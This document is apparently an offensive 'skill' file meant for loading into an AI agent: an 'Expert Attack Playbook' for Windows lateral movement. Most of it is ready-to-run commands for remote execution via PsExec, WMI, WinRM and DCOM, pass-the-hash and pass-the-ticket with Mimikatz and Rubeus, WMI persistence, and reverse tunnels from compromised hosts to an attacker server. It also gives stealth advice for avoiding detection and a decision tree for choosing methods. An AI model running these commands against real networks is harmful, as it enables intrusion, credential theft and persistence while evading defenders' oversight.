SKILL: Windows Lateral Movement — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert Windows lateral movement techniques. Covers PsExec, WMI, WinRM, DCOM, SMB, RDP, SSH, pass-the-hash, overpass-the-hash, pass-the-ticket, and pivoting. Base models miss execution method fingerprints, OPSEC trade-offs, and credential type requirements per method.
0. RELATED ROUTING
Before going deep, consider loading:
- windows-privilege-escalation after landing on a new host for local escalation
- windows-av-evasion when EDR blocks lateral movement tools
- active-directory-kerberos-attacks for Kerberos-based lateral (pass-the-ticket, delegation)
- active-directory-acl-abuse for ACL-based paths to new hosts
Advanced Reference
Also load CREDENTIAL_DUMPING.md when you need:
- LSASS dump techniques (MiniDump, comsvcs.dll, nanodump)
- SAM/SYSTEM/SECURITY extraction
- DPAPI, credential manager, cached domain credentials
- NTDS.dit extraction methods
1. REMOTE EXECUTION METHODS COMPARISON
| Method | Port | Cred Type | Creates Service? | File on Disk? | OPSEC | Admin Required? |
|---|---|---|---|---|---|---|
| PsExec | 445 (SMB) | Password/Hash | Yes (PSEXESVC) | Yes (.exe) | Low | Yes |
| Impacket smbexec | 445 | Password/Hash | Yes (temp service) | No | Medium | Yes |
| Impacket atexec | 445 | Password/Hash | No (scheduled task) | No | Medium | Yes |
| WMI | 135+dynamic | Password/Hash | No | No | High | Yes |
| WinRM | 5985/5986 | Password/Hash/Ticket | No | No | High | Yes (Remote Mgmt) |
| DCOM | 135+dynamic | Password/Hash | No | No | High | Yes |
| RDP | 3389 | Password/Hash (RestrictedAdmin) | No | No | Low (GUI session) | RDP access |
| SSH | 22 | Password/Key | No | No | High | SSH enabled |
| SC | 445 | Password/Hash | Yes (custom service) | Yes | Low | Yes |
2. PSEXEC VARIANTS
Impacket PsExec
bash# With password psexec.py DOMAIN/administrator:password@TARGET_IP # With NTLM hash (pass-the-hash) psexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP # With Kerberos ticket export KRB5CCNAME=admin.ccache psexec.py -k -no-pass DOMAIN/administrator@target.domain.com
Impacket smbexec (Stealthier — No Binary Upload)
bashsmbexec.py DOMAIN/administrator:password@TARGET_IP smbexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
Impacket atexec (Scheduled Task)
bashatexec.py DOMAIN/administrator:password@TARGET_IP "whoami" atexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP "whoami"
Sysinternals PsExec
cmdPsExec64.exe \\TARGET -u DOMAIN\administrator -p password cmd.exe PsExec64.exe \\TARGET -s cmd.exe & REM Run as SYSTEM (-s) PsExec64.exe \\TARGET -accepteula -s -d cmd.exe /c "C:\temp\payload.exe"
3. WMI LATERAL MOVEMENT
bash# Impacket wmiexec wmiexec.py DOMAIN/administrator:password@TARGET_IP wmiexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP # With Kerberos export KRB5CCNAME=admin.ccache wmiexec.py -k -no-pass DOMAIN/administrator@target.domain.com
powershell# PowerShell WMI process creation Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" -ComputerName TARGET -Credential $cred # WMI event subscription persistence $filterArgs = @{ EventNamespace = 'root\cimv2'; Name = 'Updater'; QueryLanguage = 'WQL'; Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" } $filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs
4. WINRM LATERAL MOVEMENT
bash# evil-winrm (from Linux — with password) evil-winrm -i TARGET_IP -u administrator -p password # evil-winrm (with hash) evil-winrm -i TARGET_IP -u administrator -H NTLM_HASH # evil-winrm (with Kerberos) evil-winrm -i target.domain.com -r DOMAIN.COM
powershell# PowerShell remoting $cred = Get-Credential Enter-PSSession -ComputerName TARGET -Credential $cred # Execute command remotely Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami } # Multiple targets simultaneously Invoke-Command -ComputerName TARGET1,TARGET2 -Credential $cred -ScriptBlock { hostname; whoami }
5. DCOM LATERAL MOVEMENT
Stealthy — uses legitimate COM objects, no service creation.
MMC20.Application
powershell$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET")) $com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\temp\out.txt","7")
ShellWindows
powershell$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","TARGET")) $item = $com.Item() $item.Document.Application.ShellExecute("cmd.exe","/c whoami > C:\temp\out.txt","C:\Windows\System32",$null,0)
ShellBrowserWindow
powershell$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET")) $com.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)
Impacket dcomexec
bashdcomexec.py DOMAIN/administrator:password@TARGET_IP dcomexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP -object MMC20
6. PASS-THE-HASH (PTH)
Use NTLM hash directly without knowing the plaintext password.
bash# CrackMapExec — spray/check admin access crackmapexec smb TARGETS -u administrator -H NTLM_HASH # Impacket tools (all support -hashes) psexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET wmiexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET smbexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET # evil-winrm evil-winrm -i TARGET -u user -H NTLM_HASH # xfreerdp (Restricted Admin mode must be enabled) xfreerdp /v:TARGET /u:administrator /pth:NTLM_HASH /d:DOMAIN
cmd# Mimikatz PTH (spawns new process with injected creds) sekurlsa::pth /user:administrator /domain:DOMAIN /ntlm:HASH /run:cmd.exe
Enable Restricted Admin for RDP PTH
cmd# On target (requires admin): enable restricted admin reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
7. OVERPASS-THE-HASH (PASS-THE-KEY)
Convert NTLM hash → Kerberos TGT → pure Kerberos authentication.
bash# Request TGT with hash getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP export KRB5CCNAME=user.ccache # Or with AES256 key getTGT.py DOMAIN/user -aesKey AES256_KEY -dc-ip DC_IP # Use Kerberos for all subsequent tools psexec.py -k -no-pass DOMAIN/user@target.domain.com wmiexec.py -k -no-pass DOMAIN/user@target.domain.com
cmd# Mimikatz overpass-the-hash sekurlsa::pth /user:user /domain:DOMAIN /ntlm:HASH /run:powershell.exe # New PowerShell session → klist shows Kerberos TGT
Advantage: Pure Kerberos auth avoids NTLM logging and detection.
8. PASS-THE-TICKET
bash# Use existing .ccache ticket export KRB5CCNAME=/path/to/admin.ccache psexec.py -k -no-pass DOMAIN/admin@target.domain.com
cmd# Mimikatz — inject .kirbi ticket kerberos::ptt ticket.kirbi # Verify klist # Rubeus Rubeus.exe ptt /ticket:base64_blob
9. PIVOTING THROUGH COMPROMISED HOSTS
SSH Tunnel / Port Forward
bash# Dynamic SOCKS proxy through compromised host ssh -D 1080 user@COMPROMISED_HOST # Use with proxychains # Local port forward (access internal service) ssh -L 8888:INTERNAL_TARGET:445 user@COMPROMISED_HOST
Chisel (No SSH Needed)
bash# On attacker (server) chisel server --reverse -p 8080 # On compromised host (client) chisel client ATTACKER:8080 R:socks # Creates SOCKS5 proxy on attacker's port 1080
Ligolo-ng (Modern, Fast)
bash# On attacker ligolo-proxy -selfcert -laddr 0.0.0.0:11601 # On compromised host ligolo-agent -connect ATTACKER:11601 -retry -ignore-cert # In ligolo console session # Select agent start # Start tunnel # Add route: sudo ip route add INTERNAL_SUBNET/24 dev ligolo
10. LATERAL MOVEMENT DECISION TREE
Have credentials / hash — need to move laterally │ ├── What credentials do you have? │ ├── Plaintext password → any method │ ├── NTLM hash → PTH methods (§6) │ │ ├── Need stealthier? → Overpass-the-Hash first (§7) │ │ └── Direct use → psexec/wmiexec/evil-winrm with -H │ ├── Kerberos ticket → Pass-the-Ticket (§8) │ └── AES key → Overpass-the-Hash with -aesKey (§7) │ ├── OPSEC priority? │ ├── High stealth needed │ │ ├── WMI (no file on disk, no service) → wmiexec (§3) │ │ ├── DCOM (uses legitimate COM) → dcomexec (§5) │ │ └── WinRM (PowerShell remoting) → evil-winrm (§4) │ ├── Moderate stealth │ │ ├── smbexec (no binary upload) (§2) │ │ └── atexec (scheduled task, auto-cleanup) (§2) │ └── Low stealth acceptable │ ├── PsExec (reliable, creates service) (§2) │ └── RDP (interactive GUI) (§6) │ ├── Need to pivot to internal network? │ ├── SSH available → SSH tunnel / SOCKS (§9) │ ├── No SSH → Chisel or Ligolo-ng (§9) │ └── Multiple hops → chain SOCKS proxies │ ├── Target hardening? │ ├── SMB signing required → WMI, WinRM, or DCOM │ ├── WinRM disabled → WMI or DCOM │ ├── Firewall blocks 135/445 → RDP or SSH │ └── Restricted Admin disabled → no RDP PTH → use other methods │ └── Need to dump creds on new host? └── Load CREDENTIAL_DUMPING.md
